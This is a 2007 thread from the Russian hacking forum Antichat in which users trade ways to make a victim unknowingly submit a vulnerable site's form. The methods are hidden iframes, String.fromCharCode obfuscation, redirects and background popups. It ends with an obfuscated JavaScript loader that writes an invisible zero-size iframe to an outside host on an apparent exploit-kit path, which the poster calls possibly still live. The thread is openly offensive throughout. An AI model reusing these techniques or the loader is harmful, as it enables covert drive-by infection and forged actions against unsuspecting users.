Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Xss, скрытый от юзера сабмит формы (https://forum.antichat.xyz/showthread.php?t=40731)

hhover 24.05.2007 13:49

Xss, скрытый от юзера сабмит формы
 
Есть сайт, на сайте форма. В форме нефильтруемые поля.
Задача: чтобы эту форму отправил другой человек, при этом ничего не заметив.

Варианты:
1) Делаем отвлекающую страницу с каким-нибудь текстом, который заинтересует жертву, в коде страницы iframe, в нем наша форма и <script>ourform.submit();</script>

Такой вариант работает в FF и Opera. Но только до тех пор, пока iframe не зашифрован. С зашифрованным iframe'ом в FF работать перестает. А желательно хотя-бы минимально зашифровать его (хотя бы String.fromCharCode)...
В ие вообще работать такой вариант отказывается.

2) Делаем страницу, при заходе на которую только в первый раз произойдет отправка формы. А к коду XSS дописываем редирект обратно на нашу страницу.

Работает во всех браузерах, но не слишком быстро, и юзер может заметить сменившийся адрес окна и подгружающийся любимый сайт.


Есть другие варианты? Желательно, хотя бы один пример незаметного и работающего в IE кода.

gemaglabin 24.05.2007 13:53

document.write('<iframe src='+String.fromCharCode()+'></iframe>');

hhover 24.05.2007 14:31

Да, в FF с зашифрованным адресом пашет, а если весь iframe шифровать - то нет. Странно.

Но в IE по прежнему в iframe работать отказывается. Вернее, оно отсылается, но фрейм подгружает форму логина и пишет неизвестную ошибку.
Скорее всего тут дело не в том, что браузер что-то блокирует, а в какой-то защите на стороне атакуемого сайта.

Поэтому интересны другие методы, кроме загрузки страницы в iframe.

hhover 26.05.2007 01:46

Даже простым
document.write(String.fromCharCode( --- full iframe code here --- ));
ничего не получалось. И простым unescape тоже. Но это по сути не важно, способ зашифровать линк от дурочка уже подсказали.

Судя по ответам, третьего, скрытого способа просто нет. Не очень и надеялся, конечно.

Хотя сейчас пришла в голову идея подключить ajax, он ведь может отсылась кастомные заголовки? Если да, то ответ загружать в скрытый <div> или просто не получать, если можно.

Кто в курсе ajax'a, можно ли POST запрос им отправить другому хосту ?

hhover 26.05.2007 12:31

К сожалению шифрование фрейма сейчас не самая приоритетная задача, потому-что сам факт фрейма не дает отправить форму в ИЕ. Но за способ все равно спасибо, на будущее запомню.

Я еше думаю по поводу попапа какого-нибудь, который бы был очень мелким по размерам, открылся бы на заднем плане, и сразу же закрылся, как только выполнил нужные действия, вроде так можно, только вот сложно открыть попап в ИЕ, блокируется он. Думаю попробывать сделать в нем сабмит.

DIAgen 26.05.2007 14:38

Вот держи, не помню от какого-то загрузчика
PHP код:

<script language='JavaScript'><!--
function 
nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';
s+='060105102114097109101032115114099061039104116116112058047047098114098111100121046105110102111047109';
s=s+'112097099107047105110100101120046112104112039032119105100116104061048032104101105103104116061048032';
s=s+'102114097109101098111114100101114061039048039062060047105102114097109101062';
t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(String.fromCharCode(t));t='';}}nbsp();
//--></script> 

Смотри не запускай у себя, вроде еще как бы это живая ссылка...)))


Время: 23:17